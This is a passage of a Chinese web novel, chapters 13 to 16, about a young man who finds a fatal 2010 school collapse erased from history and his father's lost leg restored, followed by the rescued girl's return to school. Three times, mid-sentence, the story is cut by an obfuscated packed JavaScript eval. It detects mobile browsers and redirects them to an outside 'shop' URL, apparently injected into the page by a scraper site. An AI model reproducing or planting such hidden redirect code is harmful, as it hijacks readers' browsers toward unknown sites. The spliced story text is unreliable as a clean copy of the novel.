这个名字,就是当年宣城六中礼堂遇难者名单中的一个,舒任凝望着那行新闻标题,不经意又想起今天老舒消沉的神情。 那时候,老舒是不是也想起了自己曾经的学生? 所以他才讨厌骗子,尤其是这种利用过世的人出来诈骗的骗子,舒任叹了口气,拿出手机给唐明发了个微信,问那家修手机的哥们有没有办法破解十年前的老诺基亚手机。 微信发出去,唐明还没回,估计人已经睡着了,舒任放下手机,正要将网页关掉,忽然,他眼前的搜索结果界面上的内容开始狂乱地跳动起来。 新闻中的那些汉字就在他的眼前,慢慢地模糊成一个个看不懂的乱码和字符,像是翻开的书本再次折叠回去,这些被机器编译为足以让人类看清的文字被分解裂变为原始的0和1。 直到数秒过后,界面上自动跳转进了新的白色对话框。 【404NotFound】 这句话的意思没人不知道,舒任检查了一下电脑的WIFI,没问题,客厅的路由器没问题,家里的网费也没欠费,正在良好运转。 浏览器崩了? 舒任没放在心上,然而退回首页,随手点进去任意一个【猜你喜欢】里头出现的热搜,连1秒都没有,某度就吐出了搜索结果。 一切正常。 图片正常,文字正常,没有任何乱码的迹象。 舒任怔了怔,在搜索历史中再次选中了【林语禾】这一条。 没有任何卡顿和迟缓,新标签页窗口中出现了搜索结果。 只是,上面的内容和舒任之前看到的,出现了一点点……不,亿点点不同。 【本报讯9月17日上午,宣城六中礼堂突然发生坍塌,有学生提前预警,目前仅2人轻伤,无人死亡,事故调查正在进行中】 …… 【点赞!宣城六中学子林语禾坍塌事故中见义勇为,获得多部门表彰嘉奖】 【本报特别采访——“废墟中的救人英雄”:老师、同学、父母眼中的林语禾】 …… 【“六中骄傲”林语禾:曾在9·17宣城六中礼堂坍塌事故中挺身而出,成绩优异的她如今投身科研事业】 …… 任何一条新闻点击进去都有完整的正文内容可以查询,这些新闻之间彼此联系,甚至还有更上一级的官方媒体对这些报道进行了转发和评论。 舒任不信邪地一页一页翻阅过去,入目所及之处,全是风格一致的新闻。 他尝试改变搜索方法。 【林语禾】【遇难】,搜索结果0。 【9·17宣城六中礼堂坍塌事故】【死亡】,搜索结果0。 【宣城六中】【林语禾】【死亡】,搜索结果0。 舒任快速打开搜索页面最前的几条新闻,所有的内容都指向了同一件事—— 宣城六中的礼堂坍塌事故中,一名叫做林语禾的高一(4)班女生提前在场内预警,让所有人成功撤离现场,这场事故最终无人死亡。 这怎么可能? 舒任目光死死地盯在屏幕中央的新闻标题上,嘴唇紧抿。 明明上一秒,他还眼睁睁看着【林语禾】这三个字作为死者存在,可下一秒,已经在十年前离开人世的女学生,忽然变成了见义勇为的英雄。 一场残忍冷酷到夺去他父亲余生希望的特大事故,就这么轻飘飘地“消失”了? 要是真有这种好事,舒任恐怕会第一个大笑出声,他看着已经变暗黑沉下去的屏幕,提了提嘴角,屏幕中的他直勾勾地看着自己,丝毫没有笑意,反而浑身弥漫起了一股寒意。 “啪” 鼠标从桌面上滑落,重重地砸在了地上,壳子与机身碎裂开,发出了一声沉闷的回响。 舒任回过神来,电话,对了,他可以给老舒打电话。 尽管今天提起林语禾这个人的时候老舒表情并不好,但此时舒任也顾不上那么多了,他翻出手机,找到通讯录置顶的那个号码拨了过去。 “嘟嘟……嘟嘟……” “儿子,怎么突然给我打电话?”老舒的大粗嗓门在电话里响了起来。 舒任松了口气,他爸的语气和平时一模一样,他斟酌了一下用词,再次提起了同一个名字:“……你还记得我今天和你提过的那个人吗,你以前在六中带的,叫林语禾的学生。” “林语禾?” “嗯。” 老舒长长地“哦”了一声,电话那头只剩他的呼吸声,舒任偏过头,看向屏幕右下角的时钟。 滴答、滴答。 秒针转了好几圈以后,电话那边再次响起了老舒的声音。 “她不是在国外读博?” 平静,甚至还带些困惑,好像这是一件理所当然的事情,一件舒任应该知道的事情。 然而舒任对此一无所知。 他就像是和老舒完全隔离在了完全不同的两个世界里,耳朵里还听着老舒还在对面叭叭地说着,从“林语禾”此人是如何从六中众多学生中脱颖而出,怎样一个品学兼优,又是他这个伯乐如何慧眼识珠,为这匹千里马挑中了适合她的发展。 可诸此种种,在他脑海中的记忆里,全部都是空白。 “……” “舒任?” “读博?”舒任慢慢地咀嚼着这两个字,“她还活着?” “说什么呢,你这臭小子,人家好歹也算是你学姐,有你这么没大没小地乱说话么!”老舒吹胡子瞪眼的模样,隔着电话也能从他更加夸张的嗓门中听出来,“啥活着不活着的,人家活得好好的,还提前博士毕业马上要回国了!” “……” “舒任?舒任?”老舒半天没听到儿子的回答,有些疑惑,“这手机坏了么,信号怎么时断时续的呢?” “……我听得到。” “你听得到你倒是说话呀,我还以为刚换的新手机就出故障了呢。”老舒说道,“行了我先挂电话了啊,我这已经到楼下了,一分钟到家门口,就别浪费这电话费了,有什么事儿咱们晚上吃饭的时候慢慢说。” “嗯。” 通话挂断。 舒任深深吸了口气,从椅子上站了起来,掌心里冷汗涔涔,他踩着拖鞋去厕所拧开了水龙头,看着镜中眼底隐隐发红的自己,将那些情绪都按捺了下去。 林语禾还活着? 还在国外读博? 这一切听起来就像是天方夜谭,但凡换一个人,哪怕是唐明和他这么说,舒任也觉得这是一场玩笑,可说出这些话的人却是他爸,是那个时隔十年,都不肯再提起当年事故的“舒老师”。 舒任的思维陷入了严重混乱,他决定洗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356848|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把脸,等老舒回来之后再说。 毕竟今天他出门,老舒也没有在家闲着,他那条腿自从当年截肢以后就得常常去医院复查,更不必提上了年纪以后。 最近这几天时冷时热的,老舒骨头关节又是疼得睡不着,今天是要去医院做理疗……等等。 舒任往脸上泼水洗脸的动作僵在了原地。 他家在五楼,步梯,没有电梯。 他爸是一个截肢还年过六十的老年人。 ……一分钟,他要怎么做到从一楼走到家门口? “咔哒。” 就在这时,大门处的门锁响了起来。 “儿子——舒任,人呢,跑哪儿去了?” 防盗门打开,有人进了屋。 “这拿着东西可真不好脱鞋子,算了我先放这儿。” 拖鞋……不,皮鞋踢到一边的声音。 舒任走了出去,看见了玄关口老舒的身影。 “刚叫你呢,你怎么一直不回话呀,赶紧过来把烤鸭接着,我今天特地跑宣和街去排队买的,啧啧,现在这些老店都做成网红店了,全是游客和年轻人!要不是我耐心好,今天可就没吃的份儿了——舒任?” 舒任看着自己的父亲,老舒毫无所觉,还在一边叨叨念着,一边弯下腰去找自己的拖鞋,这一切都与平时一样,他没说话,就这样静静地看着、看着……心中忽然泛起了一丝违和。 他的视线,从老舒那张有些苍老,却仍旧神采奕奕的脸庞上掠过,从那双劲瘦的双手上掠过,最终定格在了父亲的双腿上。 那里只有空荡荡的左腿裤管。 ——原本应该是这样。 可在他眼前的那条裤管,鼓鼓囊囊,白色的纯棉短袜从裤脚出延伸了出来,视线上移,一条狰狞的疤痕从膝盖下方贯穿到了脚踝处,猩红色的痕迹已经淡去许多,留下了一条淡粉色的,宛如蜿蜒毛虫的丑陋伤痕。 ——但它依然是一条健康的腿……一条能让老舒稳稳站在地面上,不必依靠拐杖就能够行走跑跳的,完整的腿。 一条不可能存在的腿。 老舒朝他笑了笑。 “舒任,你看什么呢?” 令人战栗的惊悚感,像是杀人的藤蔓一样,从脚底慢慢缠绕上了舒任的全身。 如遭雷击。 怦怦。 怦怦。 舒任听见自己的紊乱而失控的心跳。 “咕噜噜……” 头颅像是被人压入了水底,越是拼命想要呼吸,越是感觉肺里的空气将要消耗殆尽,舒任只感觉太阳穴一阵剧烈的刺痛,仿佛被钢针狠狠地扎进去一样,痛得他握紧了拳头,无法忍耐地蜷缩起了身体,跪倒在了地板上。 滴答。 滴答。 冷汗一簇一簇地从额头上冒出,又飞快地滴落在同样冰冷的地板上,舒任手腕上青筋绷起,有种被丢进洗衣机时天旋地转的恶心感。 耳朵里接连响起座钟嗡鸣的回响,舒任隐约看见老舒叫着“舒任”,慌慌张张丢下手里东西过来扶自己的身影。 可就连这些发生在眼前不足三米的现实,也好像被人蒙上一层厚厚的油画布,慢慢变得遥远而模糊。 直到老舒那双熟悉的,粗糙的手扶住了他的肩膀。 那一瞬间,无数光怪陆离的陌生回忆涌进了舒任的脑海中。 14. 第 14 章 2010年9月20日,宣城四中集体朝会。 “上周,咱们隔壁的六中发生了一起意外,在这种危急关头,有一位同学勇敢地站了出来,她机敏地发现了事故可能发生的预兆,及时提醒了其他人撤离,挽救了同学们和老师们的性命,但自己却在事故中受了伤。” “这位见义勇为的同学叫做林语禾,尽管她不是我们宣城四中的学生,但仍然是我们宣城的骄傲,是我们所有同学值得学习的榜样!” “作为新时代的五好青年,我们号召每一位同学都向她看齐——” …… 2010年10月10日,报刊亭。 “阿姨,最新一期的《推理世界》到了没?” “到了到了,就在最右边那栏下头,你自己拿——要不要买一份《省城晚报》?你们同学接受省里头采访了!” “谁啊?” “六中那小姑娘呀,叫什么林……林语禾,对林语禾!” “我是四中的,阿姨……” “四中也可以买一份回去,沾沾人家的喜气嘛!” …… 2012年6月23日,宣城六中。 “爸,我能不能不进去,我又不是六中的。” “你是六中的教职工子女,怎么就不能进去了,走,看看你爸学生都考得咋样——” “哟,这不是我们舒主任吗,这是你儿子呀?” “对,我儿子舒任,舒任,来叫马叔叔。” “马叔叔好。” “你好你好,舒主任你儿子今年也高考吧我记得?” “对啊,第一志愿报了省城的警察学院,就等录取通知书了。” “警察学院?那真不错,出来有铁饭碗的!你学生这次考得也好吧,连市状元都有,家庭事业双丰收啊你是!” “你说林语禾是吧,那孩子确实能耐,吃得了苦又好学,我看她以后前途大着呢。” …… 2012年9月7日,省城。 “行,那你有什么事儿给家里打电话,反正省城离家也不远,爸随时都能来看你。” “好,爸你赶紧回去吧,学校那边不是只请了一天假吗?” “小孩子家家的,少操心大人的事儿……那我走了啊,你在学校好好念书,别捣蛋啊!” “知道了爸——我都成年了。你好好保重身体。” …… 2013年。 2014年。 2015年。 …… 2020年1月1日,京城。 “舒任,你体力怎么跟我这个老头子差不多?” “……是爸你体力太好了。” “是吗?我倒是感觉退休之后精气神越来越差了,人还是不能闲在家里,我正寻思要不要再找点什么事儿做呢,诶你说,你爸这个手艺要是去楼下开家餐馆,能不能挣点钱?” “不太行。” “那麻将馆。” “聚众赌博,违法乱纪的事儿不能做。” “那还是做老师吧,现在不都有那种找资深老师带学生做题考试的么,我听说钱还挺不少。” “……爸。” “咋了?” “你可真能折腾。” “开玩笑,也不看看你爸是谁,宣城六中王牌老教师!2010年感动宣城十大人物之一——” “到了。” 陡峭的最后几步阶梯爬上去以后,眼前的景象豁然开朗,一片平坦的观景台从道路尽头延伸出去。 舒任慢慢调整着呼吸,剧烈的心跳平复下来,他爸却像是没事人一样,信步走到了观景台的缺口边,双手搭上了观景台的扶手。 “年轻的时候我就想着,以后一定要去爬长城,不到长城非好汉么,结果学生一轮接着一轮地带,我就想,等下一届吧,下一届毕业,我就退休,去爬长城……没想到这一等,就等到了今天。” 老舒回过头来,岁月在他眼角画上了鱼尾纹,鬓边染了新白,可说起话来眉目放光的样子,依稀还是十年前那个天天追着学生后面跑的“舒老师”。 他回过头来看着儿子,身后倚着一望无际的云海,缥缈的云雾之间,老舒弯下腰,摸了摸自己的腿。 左腿上有一条贯穿的伤疤,即使过去了许多年,也能窥见当年它撕破皮肉的狰狞模样。 “能跑能跳,健健康康的活着,我已经很满足了。” “你呢?” …… “舒任——儿子,你哪里不舒服,要不要咱们上医院看看!” 舒任缓缓地睁开眼,老舒焦急得满头大汗的脸在他眼前放大。 他吃力地摇了摇头,手臂探出去,撑着旁边的沙发座起身,在老舒小心翼翼的虚扶下,慢慢地坐到沙发上。 “真不用去医院?就我家这么短短一会儿,你都恍惚好几次了,别是生了什么病啊!”老舒焦虑地念念叨叨,“该不会是工作太累导致的吧,我说你们单位那个24小时值班多少有点不合理,这也太违反人的生物钟……” “爸,我真没事。” 老舒这才止住了话头,好好地端详了自家儿子一会儿,根据短视频APP上教的“救命医学常识必备15条”,确定儿子嘴唇没有不自然地发白发紫,手也没莫名其妙地打摆子,这才放下心来。 “那你坐会儿啊,我去热一热烤鸭——老板还问我要不要切片,我说我又不是京城人,吃不惯那片皮鸭,烤鸭就得斩块,腿要完整的,这才吃得痛快嘛!” 老舒碎碎念着,拖鞋趿拉在地上的声音慢慢地飘远进了厨房,很快就传来了锅碗瓢盆的响动。 客厅中顿时只剩舒任一个人。 舒任望向天花板,老式吊灯的灯泡远不如LED灯那么亮眼,昏黄的光线拖着长长的影子,在刷得瓷白的天花板上倒映。 在舒任的记忆里,宣城四中从来不会在朝会上提及任何关于六中的话题。 两校是水火不相容的死对头,从老师到学生,两边你追我赶,只要有成绩把对方压在下面,那全校都能乐好半天。 表彰……甚至要四中的学生将对方当成榜样,那简直是倒反天罡。 他也没有去过六中,无论是作为四中学生,还是作为老舒的儿子,舒任对六中都没有什么好奇心。 后来老舒不再是六中的老师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356849|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他更是对这个学校厌恶不已,怎么可能还愿意踏足。 最重要的是……他爸不是,也不可能是一个健康、完整的人,礼堂坍塌事故里,他爸是得以幸存的少数人之一,却为此付出了左腿的代价。 正是因为没了左腿,老舒才会被人恶意排挤,不得不离开六中,成了一个没有存在感的门卫大爷,这么多年来,肉.体上的残缺和内心的空虚,早已让老舒变得自卑而沉默。 舒任努力了很久,也只能做到让他爸在他面前不那么沉默,可带他爸出去旅游,甚至父子一起爬长城,这是不可能的事。 他甚至从未在老舒口中听到过长城两个字。 他脑海中翻涌不止的记忆,就好像是一场诡谲而美妙的梦境,像是电影里妖魔魅惑凡人的手段。 理智告诉舒任,世界上不会有这么离奇的事情。 同样是理智在他耳边低语——这不是小说,没人能操控你的记忆,甚至让你无法否认那些事情存在过。 两份同样真实却截然不同的记忆,将舒任撕扯得鲜血淋漓。 - 大院的清晨总是在叮叮咣咣的锅碗瓢盆声中开始。 阳光从百叶窗外洒了进来,林语禾翻了个身,用被子捂住眼睛还想再续没做完的梦境,摆在床头的诺基亚手机却滴滴滴地响了起来。 六点半,闹钟响了。 揣着手机起身刷牙洗脸,头发之前已经长到披肩的长度,只可惜在那场坍塌事故里它也受了无妄之灾,干脆狠狠心去理发店剪成了短发。 一同改变的,还有额前厚重的刘海,剪得只剩薄薄一层,正好露出那双弯弯的笑眼。 林语禾别上发卡,冲着镜子里的自己做了个鬼脸,一阵浓烈的香气从房门外飘了过来,她打开门走了出去,林勇听见脚步声从厨房探出头来:“小禾你先坐会儿,马上早饭就做好了。” “好。” 林语禾在餐桌边坐下,六中旁边这两年修了不少高楼商品房,那些建筑上的玻璃将阳光折射进院子里的梧桐树上打下细碎的光斑,又晃晃荡荡地飘进了客厅。 少女的目光饶有兴趣地跟着那束光斑左右波动着,像是一只和激光笔也能玩得津津有味的猫。 脚步声接踵而至,瓷盘放在木桌上发出清脆的回响,林勇穿着围裙戴着手套将盘子小心放好:“吃早饭了!” “哇,葱油肉饼!”林语禾这才发现那惊人的香味源自何处,在油锅里煎得金黄酥脆的面饼里裹着肉馅儿与葱花,一口下去,肉汁与油香在口腔里一齐爆开。 这是宣城本地的特色小吃,调馅儿的时候还特地加了麻椒,一点点麻,一点点辣,恰到好处地中和掉了油饼的腻,面饼外脆里软,搓揉得劲道绵柔的面团将调料的滋味吸得饱满,让人忍不住一口接一口地吃个不停。 “吃慢点,不够锅里还有。”这次从厨房里出来的是常美琴,围裙脱下来交到丈夫手里,一杯冒着热气的花生浆放到了林语禾面前,“你喜欢加了点黑豆的,我试着打了一下,看看合不合你胃口。” 林语禾抿了一口,口感顺滑,带着浓浓的花生香气和一丝豆香,她视线定格在常美琴眼下的青黑,“妈,你没睡好?” 15. 第 15 章 “你妈担心第一次给你打花生浆没经验,怕搞砸了,老早就起床忙活了。”林勇说道,见林语禾愣了愣,又补充道,“你肯定没听见,怕打扰你,都是去院子那边公用厨房用盖子捂着——哎哟!” 常美琴在桌子底下踢了丈夫一脚,低头自顾自夹泡椒仔姜放进碗里。 林勇委屈巴巴地做了个嘴巴缝上的动作,不敢继续“揭”老婆的“老底”,当着常美琴看不见的地方,却又和林语禾挤眉弄眼,用口型对她说“她可在乎了”。 林语禾憋着笑,余光瞥见自家亲妈正装作毫不在意的样子,目光却连连在杯子上停留,她会意地吹了吹还在冒气儿的花生浆,喝了一大口,竖起大拇指:“妈,你真是第一次做?这味道也太正宗了,比我之前在外面买的那些豆浆味道不知道好到哪儿去了!” “你就逗我开心吧。”常美琴瞪了女儿一眼,却一点看不出生气,倒是有几分被夸奖的飘飘然,“……喜欢你就多喝点,明天再给你打。” “好!” 这一顿早餐堪称丰盛至极,是从前林语禾想也不敢想的,大多数时间里,她都是早上匆匆从门外箱子里拿进来订购的玻璃瓶牛奶,两口喝完,再把她妈放在厨房的茶叶蛋拿上,去学校一路边走边吃。 但自从那场事故让她进了医院,母女俩在病房里把话说开以后,家里的伙食就大变样了,什么稀饭油条、豆浆包子乃至今天的香葱肉饼,只要林语禾说一句爱吃,第二天就会出现在家里的餐桌上。 甚至在过去的这个周末,常美琴还极为少见地下了厨,嘴巴上说是给林勇打下手,但实际上一口气给女儿做了许多宣城的本地菜,忙得脚打后脑勺,还要矜持地来一句“随手做做”。 林语禾忍不住偷笑,以前她怎么就觉得她妈是世界上最凶的人呢?明明就是一只张牙舞爪,却又很容易被哄好的猫。 “吃慢点,大不了晚一点去学校。”常美琴看着女儿憨乎乎地傻笑就忍不住担心,“你要是没休息好,今天就请假,少那一天半天的不影响。” 不知道还以为太阳打西边出来了,一向最关心她学业,恨不得一年拜上十个寺庙,求上百份文曲星灵签的常女士,竟然主动提出让女儿别太顾着上学忽略了身体。 林语禾做了个大力士展示肌肉的动作:“没问题的!” “小禾在家也休息好几天了,正好学校停课也结束了,让她去学校跟同龄人待着,总比在家里闷着好。”林勇也附和道。 常美琴这才不再提请假的事情,只是临到女儿出门的当口,老母亲操心的劲儿又没能忍住,一会儿关心林语禾带没带水杯,一会儿又心心念念要给她多带些零花钱,让她中午找个好吃的店下馆子别委屈。 本来没准备晚去的林语禾在亲妈的关心攻势下,险些真的没能赶上早读课打铃。 好不容易安抚住亲妈,林语禾背着书包“噔噔噔”下楼,幸好筒子楼离学校就三分钟路程,她走快点还能把这段时间缩短到一分钟,她这边心里默默计算着时间,却不停有人跟她打招呼。 “哟,小禾去上课呀?” “语禾,你们家要不要煮的毛豆,我多做了一些,晚上给你拿上来。” “小禾身体好些没?我在报纸上都看见了,哎哟,你这孩子胆子大的呀,跟你妈一样一样的!” 还住在这栋楼里的老邻居们都已经上了年纪,常美琴和这些长辈熟悉一些,偶尔林语禾遇见,也会唠叨她两句,总之就是要开朗活泼点之类的话。 可今天这些爷爷奶奶们个个脸上挂着与有荣焉的笑意,态度亲热得好像她刚审批通过了老城区拆迁的文件,一个个围在林语禾身边嘘寒问暖,就连她新剪的头发也被大夸特夸,像是她浑身哪哪儿都是优点,哪哪儿都好得不得了一样。 宣城是个小城市,林语禾被报纸好一番报道,甚至是冠上了“宣城骄傲”这么个噱头的名儿,这是件稀罕事——谁能想到过救人的小英雄就住在自家楼上楼下的呀?隔着这么近,从前也没看出她这么厉害,这小孩这么能耐呀! 人是有好奇心的,尤其是上了年纪退休在家,除了八卦就无事可做的老人家们,林语禾好不容易从他们的“魔爪”下逃出来,刚走到一楼,里头的住客正好推开大铁门,和她四目相对。 她僵了僵,随即放松了下来,还好不是认识了很多年的邻居,这家人是租户,为了小孩在附近上学才特地跑到这么个老旧的筒子楼里来住,这大半年里她就没和这家人打过照面,连人家姓什么叫什么都不知道。 谁知道这一家三口看见她眼睛却都亮了。 “哎呀,你是不是就是那个、那个……林语禾?就是那个救了很多人见义勇为的高中生?”穿戴整齐显然是要去上班的女主人语气热情得不像话,又把身边个头矮矮的小萝卜推了出来,“浩浩,快喊姐姐好,以后要和姐姐一样勇敢聪明好不好?” 林语禾:…… 林语禾拔腿就跑! 遥遥地还能听见那女主人纳闷的声音:“我咋把人吓跑了?” 林语禾一口气径直从大院里跑了出来,正好十字路口的红绿灯由红转绿,她顺着人群涌过斑马线,六中门口的生意还是一如既往地热闹,什么烤肠、包子、豆浆,连烫米线都有人卖。 倒是之前卖臭屁弹生意爆火的两家摊贩不见人影,原本他们的摊位一个变成了溜溜球,一个卖起了蚕宝宝。 乳白色胖乎乎的蚕宝宝在嫩绿的桑叶上爬来爬去,不少学生还围着用手指头去戳,林语禾最怕的就是虫子,赶紧有多远离多远,疾步冲进了学校,迎面碰上了正值班盯防住读生偷溜出校门的保卫处大爷。 “诶,你是咱们学校那个……林语禾?” 林语禾还没说话,旁边正进校门的学生们齐刷刷地扭头过来:“林语禾,哪呢哪呢?” 怎么人人都知道她名字! 趁着保卫处大爷招呼学生别在这儿拥堵的间隙,林语禾脚底抹油直接开溜,等老大爷把学生们疏散开,回到传达室找到报纸再出来一看,哪还有小姑娘的身影。 老大爷低下头,老花眼镜上映出宣城晚报的头版头条,配图中最显眼最大的那张旁边写着【林语禾】三个字,照片显然是截取自某次活动的集体合照,画面中的女孩有些腼腆害羞,厚厚的刘海挡住了她的双眼,在人群中显得极不起眼。 和刚刚看见的那个阳光灿烂的女孩判若两人。 老大爷眯着眼睛端详片刻。 “刚刚那个明明就是林语禾嘛!” - 林语禾气喘吁吁地赶到教学楼,这会儿距离早读还有五分钟,中央扶手楼梯和侧边的旋转楼梯上都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356850|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是挤挤挨挨的人群,她慢慢地缓下脚步,像是混入鱼群的一只小鱼,显得悠然又自在。 该说不说,早上的这一串经历着实有点吓到了她,林语禾知道这次坍塌事故在本地引起了轩然大波,常女士几乎每天都会接到各个新闻报纸的电话,想要近距离采访一下她这个死里逃生的“救人英雄”——最好是独家的。 但一向爱出风头的她妈却全部拒绝了,哪怕那些报纸愿意给出不菲的采访费,她妈都坚持不让她接受采访,林叔叔私底下和林语禾透露,常女士担心过度曝光会影响女儿的生活。 “没必要让她十几岁就背着这么沉重的名头,她还那么小,比起救人,我更在乎她活得好不好。” 只是恐怕连她妈也没意识到,在宣城这么个地方,六中的这次事件是现象级的,它不是一天或两天的头版头条,这件事能让平时没什么新鲜新闻的小城市民们拥有半年、一年……乃至好几年的谈资。 而林语禾作为这场轰动的主角,无论如何都会被聚光灯所笼罩。 说得通俗一点,她现在成了宣城的“明星”。 当然,明星本人对此完全没有自觉,比起那些镁光灯与鲜花,她现在有更享受的东西——那就是重返校园。 周四礼堂坍塌,周五她才苏醒出院,之后的周六周日既是双休,也是学校停课的时间,听常女士说就连高三的学生这两天也没有去学校上周末补习。 而今天,周一,是她事故后第一次回到校园里……也是第一次,回到4班,林语禾内心深处隐隐有一种近乡情怯的感觉,可更多的却还是藏也藏不住的开心。 校门口的保卫处大爷。 试图在书包里夹带零食,被发现后又一本正经装傻的同校学生。 叫卖的小摊贩,全是淀粉却香喷喷的烤肠。 校园中央那片被人踩得七歪八倒,没多久换好一片新的又被人踩得焉头巴脑的草坪运动场。 …… 她沿着阶梯一步步向上,阳光洒下来到护栏外悬垂的吊兰花盆上,爬山虎的藤蔓绕过了学生们行进的方向,紧紧地攀附在楼外的墙上,随着轻风摆荡,它就像是在呼吸一样起起伏伏。 林语禾深深地吸了口气,她在六中呆了这么久,竟然从来没有发现这些近在咫尺的,小小的美好之处。 如果不是这次意外,也许她永远不会发现。 “叮铃铃——” 早读铃无情地打断了林语禾的清晨抒情,她暗叫一声糟糕,今天的早读恐怕是英语,那可是迟到一分钟能让人默写全篇文言文的究极大魔王! 她紧了紧背包带子,闷头迅速地往4班所在的方向冲去,越是靠近,林语禾却感觉越不对劲。 班上怎么一点声响也没有,平时远远地就已经能听到朗读的声音,眼下却一片寂静,她探头望了一眼,甚至看不清教室里有没有开灯。 难道是班上有什么特殊通知,她没收到?林语禾有些迟疑地放慢脚步,走到教室门口,又踮起脚看了一眼,里面黑漆漆的,什么也看不见,她想了想,小心翼翼地推了推教室门。 大门应声而开。 下一秒,教室里所有的灯光都亮了起来,刺目的光线让林语禾本能地闭了闭眼,耳畔传来了异口同声的欢呼—— “林语禾同学,欢迎回家!” 16. 第 16 章 林语禾成了宣城六中的人气新星,更是成了(4)班里最受欢迎的那个。 大家对她的态度比从前亲近自然了许多,老师们更是对这个平时沉默寡言的学生刮目相看,哪怕是最严厉的语文老师对着林语禾也宽容得不像话,其他老师也是个个轻声细语,提起林语禾这个学生就是一顿夸。 当然,最夸张的还是班主任舒老师。 一茬又一茬的表彰发下来,校级的、区级的、市级的……连省里都对这次事件给予了不少关注,特地给林语禾发了表扬信,全都被舒老师要去复印,加上他自己收到的表彰奖状,一起给4班背后的黑板顶上贴了个严严实实。 也有人暗自不爽,比如说被她“抢劫”走全部臭屁弹和烟雾弹的那几个男生,在礼堂是一点伤没受,可等学校这边知道了他们带违规玩具进学校,当时就告了家长。 调皮捣蛋惯了的几个男生还哭丧着脸辩称自己是“将功补过”,毕竟没有他们偷偷带东西进来,林语禾也没办法那么快把所有人疏散出去呀! 这一番辩解换来的自然是父母的竹笋炒肉——加量不加价版,一通男女混合双打“爱的教育”之后,几人总算是老实了,当着老师唯唯诺诺,回了教室还想背后说小话,结果平时和他们打打闹闹的同学也不搭理他们了。 哪怕背后嘀咕一句“不就是几句提醒么,谁不会呀”也不行,马上就会被其他人拎出来指着鼻子训“你有本事也提醒一个,怎么我看你们跑得比谁都快呢?” 这下彻底熄了火,不敢叽叽歪歪地乱说话了。 这种拎不清的到底是少数,对于(4)班大多数人来说,如果没有林语禾,他们早就没命了,维护自己的救命恩人有什么不对? 要不是学校之前拦着,不让他们去医院看望林语禾,那病房里从早到晚能被来探望的同学和同学家长给塞得满满当当。 现在就只能在学校里关照她,给她塞零食水果,还得和其他班来送礼物的学生抢林语禾的抽屉空位……这些同学还嫌没地方表现呢,遇到自己撞枪口上来的,那可就不客气了。 …… “小禾,中午要不要一起出去吃饭?”前桌转过头来趴在林语禾桌上,一双杏眼笑嘻嘻地看着她,“就学校对面,有家阿姨开的面馆,特别好吃。” 林语禾点了点头,杏眼女孩顿时眉开眼笑,一双眸子弯成了月牙:“耶!那我下课先跑过去占位置,雨娜,你带小禾慢慢过来哦~” “知道啦。” 林语禾发现自从自己回学校上课以后,这些同学的名字和样貌似乎记得越来越熟悉了,其中很大一部分原因就是他们一有时间就会主动来找自己说话。 刚刚和她搭话的就是前桌的许归苑和莫雨娜。 林语禾曾远远地看到过这两个活泼又开朗的女同学,她们总是形影不离,任谁都能看出这是一对关系亲密的朋友。 只是她没想过有这么一天,自己也会成为她们的朋友。 就那么自然而然地从某一次课间开始,许归苑和莫雨娜主动找她搭话,慢慢地,她和她们走得越来越近,一起去上体育课,一起去女厕所排队……还有一起出校门寻觅美食。 面馆人声鼎沸,气势逼人的女老板威严十足地巡视着自己的地盘,学生们捧着大碗面条一个个吸溜得额头生汗,但又忍不住一口一口地接着吃下去,直到汤底都喝了个干净,再将碗一搁,万千赞美化为一个“爽”字。 林语禾要了一碗鳝鱼面,麻辣鲜香的浇头搅拌进面条里,顿时浑身毛孔都刺激得张开了。 许归苑问道:“你们知道跑跑主任怎么样了吗?” “?” 跑跑主任说的是之前的年级主任,因为在礼堂坍塌的时候只顾自己逃跑,被学生们背后骂是“跑跑主任”,名声极差。 “据说是‘身体状况不佳’,现在还待在家里休息养生呢。”许归苑啃一口大排,“不过大家都说肯定是学校不想让他回来了,找个借口而已,就跑跑主任那大肚子,什么身体不好,营养过剩还差不多。” 莫雨娜对此做出了一针见血的点评:“活该。” 林语禾好奇道:“那新的年级主任是谁?” “这个啊,你们肯定猜不到——”许归苑说道,“是咱们班的老舒!” 老舒中年不得志,不会人情世故,到了这个年纪还在和刚进学校的新老师一起,被迫承担班主任这项苦差事,工资增长还赶不上通货膨胀。 事故给他留下了一条永远消不掉的左腿伤疤,但也为他提供了一次咸鱼翻身的机会,班主任兼任年级主任,只要不犯错,后头都是康庄大道。 老舒人逢喜事精神爽,就连中午的“补习”也仁慈地免掉了,(4)班爆发一阵欢呼,又被老舒赶紧压了下来,难得一个不用上课不用做题的中午,有人抱着篮球就往外走,也有人趴在桌上赶紧补眠。 